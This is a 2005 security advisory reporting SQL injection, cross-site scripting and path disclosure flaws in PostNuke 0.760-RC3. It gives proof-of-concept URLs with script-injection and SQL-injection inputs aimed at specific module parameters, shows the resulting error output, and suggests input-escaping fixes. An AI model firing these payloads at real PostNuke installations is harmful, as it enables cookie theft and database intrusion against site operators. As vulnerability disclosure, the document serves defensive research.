postnukeSQL.txt

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Dcrab 's Security Advisory  
[Hsc Security Group] http://www.hackerscenter.com/  
[dP Security] http://digitalparadox.org/  
  
Get Dcrab's Services to audit your Web servers, scripts, networks, etc. Learn more at http://www.digitalparadox.org/services.ah  
  
GET INFORMED FIRST ABOUT MY ADVISORIES http://www.digitalparadox.org  
  
Severity: Medium  
Title: Sql injection, xss and path disclosure vulnerabilities in PostNuke 0.760-RC3  
Date: 08/04/2005  
  
Vendor: PostNuke  
Vendor Website: http://www.postnuke.com  
Summary: There are, sql injection, xss and path disclosure vulnerabilities in postnuke 0.760-rc3.  
  
  
Proof of Concept Exploits:   
  
http://localhost/admin.php?module="><script>alert(document.cookie)</script>&op=main&POSTNUKESID=355776cfb622466924a7096d4471a480  
Pops cookie  
  
  
http://localhost/modules.php?op=modload&name=News&file=article&sid='SQL_INJECTION&POSTNUKESID=355776cfb622466924a7096d4471a480  
SQL INJECTION (look wayyy on the bottom of the page)  
  
DB Error: getArticles: 1064: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for   
the right syntax to use near '\'SQL_INJECTION' at line 23  
  
  
http://localhost/modules.php?op=modload&name=Reviews&file=index&req=showcontent&id='&POSTNUKESID=355776cfb622466924a7096d4471a480  
Server Path disclosure  
  
Fatal error: Call to a member function on a non-object in /home/httpd/vhosts/localhost/httpdocs/modules/Reviews/index.php on line 976  
  
  
http://localhost/user.php?op="><script>alert(document.cookie)</script>&module=NS-NewUser&POSTNUKESID=355776cfb622466924a7096d4471a480  
Pops cookie  
  
  
Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(), mysql_real_escape_string() and other functions for input   
validation before passing user input to the mysql database, or before echoing data on the screen, would solve these problems.  
  
Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah  
  
Author:   
These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackerscenter[DOT|NOSPAM]com, please feel   
free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://digitalparadox.org/.   
Lookout or my soon to come out book on Secure coding with php.  
  
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